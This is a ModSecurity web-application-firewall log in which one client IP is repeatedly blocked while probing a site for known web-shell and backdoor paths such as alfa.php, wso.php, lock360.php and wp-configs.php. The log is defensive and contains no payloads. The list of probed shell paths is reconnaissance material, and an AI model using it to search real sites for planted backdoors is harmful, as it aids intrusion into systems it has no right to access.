[Thu Jan 08 01:07:30.977579 2026] [:error] [pid 58294:tid 58303] [client 4.189.122.79:23045] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "aV6S0lfzA7c0ITpf3nFbGgAAAIc"]
[Thu Jan 08 01:07:31.209983 2026] [:error] [pid 50905:tid 50909] [client 4.189.122.79:3084] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/item.php"] [unique_id "aV6S02pNgk5-gt30I7bF3QAAAkI"]
[Thu Jan 08 01:07:31.436384 2026] [:error] [pid 50870:tid 50879] [client 4.189.122.79:3124] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aV6S0xlePfspAt1BzouXiAAAAgc"]
[Thu Jan 08 01:07:31.663422 2026] [:error] [pid 30632:tid 30647] [client 4.189.122.79:23063] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aV6S0-d3_LCpBJzo02c57AAAAAs"]
[Thu Jan 08 01:07:31.919616 2026] [:error] [pid 50936:tid 50948] [client 4.189.122.79:23054] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aV6S07Dlg80QUdd5qc40KgAAAoo"]
[Thu Jan 08 01:07:32.146283 2026] [:error] [pid 50936:tid 50942] [client 4.189.122.79:3423] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/dist/"] [unique_id "aV6S1LDlg80QUdd5qc40KwAAAoQ"]
[Thu Jan 08 01:07:32.382070 2026] [:error] [pid 50905:tid 50923] [client 4.189.122.79:3444] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aV6S1GpNgk5-gt30I7bF3gAAAlA"]
[Thu Jan 08 01:07:32.618587 2026] [:error] [pid 50905:tid 50916] [client 4.189.122.79:3111] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aV6S1GpNgk5-gt30I7bF3wAAAkk"]
[Thu Jan 08 01:07:32.844288 2026] [:error] [pid 30632:tid 30639] [client 4.189.122.79:23089] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aV6S1Od3_LCpBJzo02c57QAAAAM"]
[Thu Jan 08 01:07:33.074182 2026] [:error] [pid 50936:tid 50956] [client 4.189.122.79:23084] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/alfa.php"] [unique_id "aV6S1bDlg80QUdd5qc40LgAAApI"]
[Thu Jan 08 01:07:33.315433 2026] [:error] [pid 30632:tid 30642] [client 4.189.122.79:3105] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/log.php"] [unique_id "aV6S1ed3_LCpBJzo02c57wAAAAY"]
[Thu Jan 08 01:07:33.558906 2026] [:error] [pid 30634:tid 30699] [client 4.189.122.79:23043] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/log.php"] [unique_id "aV6S1YCIPBibObtmZtsv_AAAAMk"]
[Thu Jan 08 01:07:33.785422 2026] [:error] [pid 58294:tid 58318] [client 4.189.122.79:3089] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/log.php"] [unique_id "aV6S1VfzA7c0ITpf3nFbHAAAAJY"]
[Thu Jan 08 01:07:34.021524 2026] [:error] [pid 30634:tid 30703] [client 4.189.122.79:3090] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/log.php"] [unique_id "aV6S1oCIPBibObtmZtswAAAAAM0"]
[Thu Jan 08 01:07:34.249082 2026] [:error] [pid 30634:tid 30693] [client 4.189.122.79:23040] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aV6S1oCIPBibObtmZtswAwAAAMM"]
[Thu Jan 08 01:07:34.482969 2026] [:error] [pid 30632:tid 30658] [client 4.189.122.79:3416] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aV6S1ud3_LCpBJzo02c58gAAABY"]
[Thu Jan 08 01:07:34.708235 2026] [:error] [pid 30632:tid 30657] [client 4.189.122.79:3092] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aV6S1ud3_LCpBJzo02c58wAAABU"]
[Thu Jan 08 01:07:34.943614 2026] [:error] [pid 58294:tid 58316] [client 4.189.122.79:3086] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lock360.php"] [unique_id "aV6S1lfzA7c0ITpf3nFbHwAAAJQ"]
[Thu Jan 08 01:07:35.169831 2026] [:error] [pid 58330:tid 58333] [client 4.189.122.79:3074] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aV6S1w8kGngKGK7_wncxoQAAAQE"]
[Thu Jan 08 01:07:35.404151 2026] [:error] [pid 30634:tid 30697] [client 4.189.122.79:23103] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aV6S14CIPBibObtmZtswCAAAAMc"]
[Thu Jan 08 01:07:35.637189 2026] [:error] [pid 58330:tid 58336] [client 4.189.122.79:3103] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aV6S1w8kGngKGK7_wncxogAAAQQ"]
[Thu Jan 08 01:07:35.866594 2026] [:error] [pid 58294:tid 58319] [client 4.189.122.79:23070] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/class.php"] [unique_id "aV6S11fzA7c0ITpf3nFbJAAAAJc"]
[Thu Jan 08 01:07:36.094701 2026] [:error] [pid 51128:tid 51147] [client 4.189.122.79:3082] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.wp/wso.php"] [unique_id "aV6S2EGjtE8U88mrwufLkQAAAZE"]
[Thu Jan 08 01:07:36.320064 2026] [:error] [pid 58294:tid 58298] [client 4.189.122.79:23083] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.wp/wso.php"] [unique_id "aV6S2FfzA7c0ITpf3nFbJwAAAII"]
[Thu Jan 08 01:07:36.547722 2026] [:error] [pid 50905:tid 50908] [client 4.189.122.79:3099] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.wp/wso.php"] [unique_id "aV6S2GpNgk5-gt30I7bF4QAAAkE"]
[Thu Jan 08 01:07:36.774837 2026] [:error] [pid 50905:tid 50907] [client 4.189.122.79:3417] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.wp/wso.php"] [unique_id "aV6S2GpNgk5-gt30I7bF4gAAAkA"]
[Thu Jan 08 01:07:37.003322 2026] [:error] [pid 50905:tid 50914] [client 4.189.122.79:3098] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aV6S2WpNgk5-gt30I7bF4wAAAkc"]
[Thu Jan 08 01:07:37.229619 2026] [:error] [pid 58294:tid 58304] [client 4.189.122.79:23073] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aV6S2VfzA7c0ITpf3nFbKwAAAIg"]
[Thu Jan 08 01:07:37.456115 2026] [:error] [pid 50905:tid 50921] [client 4.189.122.79:23076] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aV6S2WpNgk5-gt30I7bF5gAAAk4"]
[Thu Jan 08 01:07:37.682164 2026] [:error] [pid 50905:tid 50927] [client 4.189.122.79:23098] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/update/f35.php"] [unique_id "aV6S2WpNgk5-gt30I7bF6AAAAlQ"]
[Thu Jan 08 01:07:37.911402 2026] [:error] [pid 50905:tid 50918] [client 4.189.122.79:3396] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f.php"] [unique_id "aV6S2WpNgk5-gt30I7bF6QAAAks"]
[Thu Jan 08 01:07:38.137396 2026] [:error] [pid 30632:tid 30659] [client 4.189.122.79:23086] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f.php"] [unique_id "aV6S2ud3_LCpBJzo02c5-AAAABc"]
[Thu Jan 08 01:07:38.363822 2026] [:error] [pid 50905:tid 50919] [client 4.189.122.79:3087] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f.php"] [unique_id "aV6S2mpNgk5-gt30I7bF7gAAAkw"]
[Thu Jan 08 01:07:38.589821 2026] [:error] [pid 30632:tid 30644] [client 4.189.122.79:23061] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/f.php"] [unique_id "aV6S2ud3_LCpBJzo02c5-QAAAAg"]
[Thu Jan 08 01:07:38.819306 2026] [:error] [pid 50905:tid 50917] [client 4.189.122.79:23101] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file/function.php"] [unique_id "aV6S2mpNgk5-gt30I7bF8AAAAko"]
[Thu Jan 08 01:07:39.045458 2026] [:error] [pid 30632:tid 30636] [client 4.189.122.79:3392] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file/function.php"] [unique_id "aV6S2-d3_LCpBJzo02c5-wAAAAA"]
[Thu Jan 08 01:07:39.271798 2026] [:error] [pid 50905:tid 50908] [client 4.189.122.79:23075] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file/function.php"] [unique_id "aV6S22pNgk5-gt30I7bF8QAAAkE"]
[Thu Jan 08 01:07:39.498681 2026] [:error] [pid 30633:tid 30664] [client 4.189.122.79:3133] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file/function.php"] [unique_id "aV6S2_ZiVWlF7303nMjYrwAAAEE"]
[Thu Jan 08 01:07:39.724769 2026] [:error] [pid 50905:tid 50914] [client 4.189.122.79:23091] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/form3.php"] [unique_id "aV6S22pNgk5-gt30I7bF8wAAAkc"]
[Thu Jan 08 01:07:39.963188 2026] [:error] [pid 51128:tid 51136] [client 4.189.122.79:3077] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/form3.php"] [unique_id "aV6S20GjtE8U88mrwufLkwAAAYY"]
[Thu Jan 08 01:07:40.189046 2026] [:error] [pid 30632:tid 30656] [client 4.189.122.79:3117] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/form3.php"] [unique_id "aV6S3Od3_LCpBJzo02c5_AAAABQ"]
[Thu Jan 08 01:07:40.419636 2026] [:error] [pid 30632:tid 30647] [client 4.189.122.79:3414] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/uploads/form3.php"] [unique_id "aV6S3Od3_LCpBJzo02c5_QAAAAs"]
[Thu Jan 08 01:07:40.676441 2026] [:error] [pid 50870:tid 50886] [client 4.189.122.79:23082] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aV6S3BlePfspAt1BzouXiQAAAg4"]
[Thu Jan 08 01:07:40.908529 2026] [:error] [pid 30633:tid 30679] [client 4.189.122.79:3121] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aV6S3PZiVWlF7303nMjYswAAAFA"]
[Thu Jan 08 01:07:41.138083 2026] [:error] [pid 58330:tid 58354] [client 4.189.122.79:3163] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aV6S3Q8kGngKGK7_wncxpgAAARY"]
[Thu Jan 08 01:07:41.366964 2026] [:error] [pid 30633:tid 30678] [client 4.189.122.79:3400] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/404.php"] [unique_id "aV6S3fZiVWlF7303nMjYtQAAAE8"]
[Thu Jan 08 01:07:41.597911 2026] [:error] [pid 30632:tid 30652] [client 4.189.122.79:3405] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aV6S3ed3_LCpBJzo02c5_gAAABA"]
[Thu Jan 08 01:07:41.823171 2026] [:error] [pid 30633:tid 30669] [client 4.189.122.79:3395] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aV6S3fZiVWlF7303nMjYtwAAAEY"]
[Thu Jan 08 01:07:42.050536 2026] [:error] [pid 50905:tid 50927] [client 4.189.122.79:3393] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aV6S3mpNgk5-gt30I7bF-AAAAlQ"]
[Thu Jan 08 01:07:42.279143 2026] [:error] [pid 30633:tid 30675] [client 4.189.122.79:3187] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/adminfuns.php"] [unique_id "aV6S3vZiVWlF7303nMjYuQAAAEw"]
[Thu Jan 08 01:07:42.508690 2026] [:error] [pid 30632:tid 30658] [client 4.189.122.79:3173] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/wp-configs.php"] [unique_id "aV6S3ud3_LCpBJzo02c6AAAAABY"]
[Thu Jan 08 01:07:42.746248 2026] [:error] [pid 58330:tid 58338] [client 4.189.122.79:3398] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/wp-configs.php"] [unique_id "aV6S3g8kGngKGK7_wncxpwAAAQY"]
[Thu Jan 08 01:07:42.975077 2026] [:error] [pid 58330:tid 58351] [client 4.189.122.79:23055] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/wp-configs.php"] [unique_id "aV6S3g8kGngKGK7_wncxqAAAARM"]
[Thu Jan 08 01:07:43.202322 2026] [:error] [pid 30632:tid 30648] [client 4.189.122.79:3447] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/wp-configs.php"] [unique_id "aV6S3-d3_LCpBJzo02c6AwAAAAw"]
[Thu Jan 08 01:07:43.431378 2026] [:error] [pid 58330:tid 58352] [client 4.189.122.79:3441] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aV6S3w8kGngKGK7_wncxqQAAARQ"]
[Thu Jan 08 01:07:43.664926 2026] [:error] [pid 30632:tid 30644] [client 4.189.122.79:3119] [client 4.189.122.79] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/goods.php"] [unique_id "aV6S3-d3_LCpBJzo02c6BQAAAAg"]
